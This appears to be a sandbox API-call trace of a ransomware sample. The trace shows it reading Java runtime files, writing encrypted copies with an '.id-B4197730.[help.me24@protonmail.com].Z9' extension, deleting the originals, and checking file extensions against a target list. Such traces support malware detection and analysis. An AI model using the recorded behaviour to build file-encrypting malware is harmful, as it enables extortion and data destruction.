	[0093.209] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.209] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1
	[0093.209] SetEndOfFile (hFile=0x2bc) returned 1
	[0093.209] CloseHandle (hObject=0x2bc) returned 1
	[0093.209] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.210] SetEndOfFile (hFile=0x364) returned 1
	[0093.211] CloseHandle (hObject=0x364) returned 1
	[0093.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.211] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 1
	[0093.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0093.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0093.212] lstrlenW (lpString=".doc") returned 4
	[0093.212] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0093.212] lstrlenW (lpString=".docx") returned 5
	[0093.212] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1
	[0093.212] lstrlenW (lpString=".pdf") returned 4
	[0093.212] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0093.212] lstrlenW (lpString=".xls") returned 4
	[0093.212] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0093.212] lstrlenW (lpString=".xlsx") returned 5
	[0093.212] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1
	[0093.212] lstrlenW (lpString=".ppt") returned 4
	[0093.212] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0093.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0093.212] lstrlenW (lpString=".zip") returned 4
	[0093.212] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0093.212] lstrlenW (lpString=".rar") returned 4
	[0093.212] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0093.212] lstrlenW (lpString=".bz2") returned 4
	[0093.212] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0093.212] lstrlenW (lpString=".7z") returned 3
	[0093.212] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0093.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0093.212] lstrlenW (lpString=".dbf") returned 4
	[0093.212] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0093.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0093.212] lstrlenW (lpString=".1cd") returned 4
	[0093.212] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0093.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0093.212] lstrlenW (lpString=".jpg") returned 4
	[0093.212] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0093.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0093.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0093.213] lstrlenW (lpString=".doc") returned 4
	[0093.213] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0093.213] lstrlenW (lpString=".docx") returned 5
	[0093.213] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1
	[0093.213] lstrlenW (lpString=".pdf") returned 4
	[0093.213] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0093.213] lstrlenW (lpString=".xls") returned 4
	[0093.213] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0093.213] lstrlenW (lpString=".xlsx") returned 5
	[0093.213] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1
	[0093.213] lstrlenW (lpString=".ppt") returned 4
	[0093.213] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0093.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0093.213] lstrlenW (lpString=".zip") returned 4
	[0093.213] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0093.213] lstrlenW (lpString=".rar") returned 4
	[0093.213] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0093.213] lstrlenW (lpString=".bz2") returned 4
	[0093.213] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0093.213] lstrlenW (lpString=".7z") returned 3
	[0093.213] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0093.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0093.213] lstrlenW (lpString=".dbf") returned 4
	[0093.213] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0093.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0093.213] lstrlenW (lpString=".1cd") returned 4
	[0093.213] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0093.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50
	[0093.213] lstrlenW (lpString=".jpg") returned 4
	[0093.213] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0093.213] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.214] lstrlenW (lpString="javafx_font_t2k.dll") returned 19
	[0093.214] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0093.214] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=538176) returned 1
	[0093.214] CloseHandle (hObject=0x364) returned 1
	[0093.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 0x20
	[0093.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.214] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0093.214] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.214] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.214] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0093.215] GetLastError () returned 0x0
	[0093.215] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x83640, lpOverlapped=0x0) returned 1
	[0093.241] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x83650, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x83650, lpOverlapped=0x0) returned 1
	[0093.422] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.422] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0093.422] SetEndOfFile (hFile=0x2bc) returned 1
	[0093.422] CloseHandle (hObject=0x2bc) returned 1
	[0093.422] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.422] SetEndOfFile (hFile=0x364) returned 1
	[0093.435] CloseHandle (hObject=0x364) returned 1
	[0093.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.773] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 1
	[0093.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0093.816] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0093.816] lstrlenW (lpString=".doc") returned 4
	[0093.816] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.816] lstrlenW (lpString=".docx") returned 5
	[0093.816] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1
	[0093.816] lstrlenW (lpString=".pdf") returned 4
	[0093.816] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.816] lstrlenW (lpString=".xls") returned 4
	[0093.816] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.816] lstrlenW (lpString=".xlsx") returned 5
	[0093.816] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1
	[0093.816] lstrlenW (lpString=".ppt") returned 4
	[0093.816] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.816] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0093.816] lstrlenW (lpString=".zip") returned 4
	[0093.816] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.816] lstrlenW (lpString=".rar") returned 4
	[0093.816] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.816] lstrlenW (lpString=".bz2") returned 4
	[0093.816] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.816] lstrlenW (lpString=".7z") returned 3
	[0093.816] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.816] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0093.816] lstrlenW (lpString=".dbf") returned 4
	[0093.816] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.816] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0093.816] lstrlenW (lpString=".1cd") returned 4
	[0093.816] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.816] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0093.816] lstrlenW (lpString=".jpg") returned 4
	[0093.816] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.816] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0093.816] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0093.817] lstrlenW (lpString=".doc") returned 4
	[0093.817] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.817] lstrlenW (lpString=".docx") returned 5
	[0093.817] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1
	[0093.817] lstrlenW (lpString=".pdf") returned 4
	[0093.817] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.817] lstrlenW (lpString=".xls") returned 4
	[0093.817] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.817] lstrlenW (lpString=".xlsx") returned 5
	[0093.817] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1
	[0093.817] lstrlenW (lpString=".ppt") returned 4
	[0093.817] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.817] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0093.817] lstrlenW (lpString=".zip") returned 4
	[0093.817] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.817] lstrlenW (lpString=".rar") returned 4
	[0093.817] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.817] lstrlenW (lpString=".bz2") returned 4
	[0093.817] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.817] lstrlenW (lpString=".7z") returned 3
	[0093.817] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.817] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0093.817] lstrlenW (lpString=".dbf") returned 4
	[0093.817] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.817] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0093.817] lstrlenW (lpString=".1cd") returned 4
	[0093.817] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.817] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0093.817] lstrlenW (lpString=".jpg") returned 4
	[0093.817] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.817] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.817] lstrlenW (lpString="jp2iexp.dll") returned 11
	[0093.818] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0093.818] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=296000) returned 1
	[0093.818] CloseHandle (hObject=0x358) returned 1
	[0093.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 0x20
	[0093.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.818] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0093.818] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.818] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.818] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0093.819] GetLastError () returned 0x0
	[0093.819] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x48440, lpOverlapped=0x0) returned 1
	[0093.982] WriteFile (in: hFile=0x324, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x48450, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x48450, lpOverlapped=0x0) returned 1
	[0093.988] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.988] WriteFile (in: hFile=0x324, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1
	[0093.988] SetEndOfFile (hFile=0x324) returned 1
	[0093.997] CloseHandle (hObject=0x324) returned 1
	[0093.997] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.998] SetEndOfFile (hFile=0x358) returned 1
	[0094.001] CloseHandle (hObject=0x358) returned 1
	[0094.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.003] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 1
	[0094.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0094.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0094.003] lstrlenW (lpString=".doc") returned 4
	[0094.003] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.003] lstrlenW (lpString=".docx") returned 5
	[0094.003] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0094.004] lstrlenW (lpString=".pdf") returned 4
	[0094.004] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.004] lstrlenW (lpString=".xls") returned 4
	[0094.004] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.004] lstrlenW (lpString=".xlsx") returned 5
	[0094.004] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0094.004] lstrlenW (lpString=".ppt") returned 4
	[0094.004] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0094.004] lstrlenW (lpString=".zip") returned 4
	[0094.004] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.004] lstrlenW (lpString=".rar") returned 4
	[0094.004] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.004] lstrlenW (lpString=".bz2") returned 4
	[0094.004] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.004] lstrlenW (lpString=".7z") returned 3
	[0094.004] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0094.004] lstrlenW (lpString=".dbf") returned 4
	[0094.004] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0094.004] lstrlenW (lpString=".1cd") returned 4
	[0094.004] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0094.004] lstrlenW (lpString=".jpg") returned 4
	[0094.004] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0094.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0094.004] lstrlenW (lpString=".doc") returned 4
	[0094.004] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.006] lstrlenW (lpString=".docx") returned 5
	[0094.006] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0094.006] lstrlenW (lpString=".pdf") returned 4
	[0094.006] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.006] lstrlenW (lpString=".xls") returned 4
	[0094.006] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.006] lstrlenW (lpString=".xlsx") returned 5
	[0094.006] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0094.006] lstrlenW (lpString=".ppt") returned 4
	[0094.006] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0094.006] lstrlenW (lpString=".zip") returned 4
	[0094.006] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.006] lstrlenW (lpString=".rar") returned 4
	[0094.006] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.006] lstrlenW (lpString=".bz2") returned 4
	[0094.006] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.006] lstrlenW (lpString=".7z") returned 3
	[0094.006] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0094.006] lstrlenW (lpString=".dbf") returned 4
	[0094.006] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0094.006] lstrlenW (lpString=".1cd") returned 4
	[0094.006] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0094.007] lstrlenW (lpString=".jpg") returned 4
	[0094.007] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.007] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.007] lstrlenW (lpString="jpeg.dll") returned 8
	[0094.007] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0094.007] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=185920) returned 1
	[0094.007] CloseHandle (hObject=0x38c) returned 1
	[0094.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 0x20
	[0094.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.008] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0094.008] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.008] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.008] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0094.008] GetLastError () returned 0x0
	[0094.008] ReadFile (in: hFile=0x38c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x2d640, lpOverlapped=0x0) returned 1
	[0094.053] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x2d650, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x2d650, lpOverlapped=0x0) returned 1
	[0094.057] ReadFile (in: hFile=0x38c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.057] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0094.057] SetEndOfFile (hFile=0x2bc) returned 1
	[0094.057] CloseHandle (hObject=0x2bc) returned 1
	[0094.057] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.057] SetEndOfFile (hFile=0x38c) returned 1
	[0094.059] CloseHandle (hObject=0x38c) returned 1
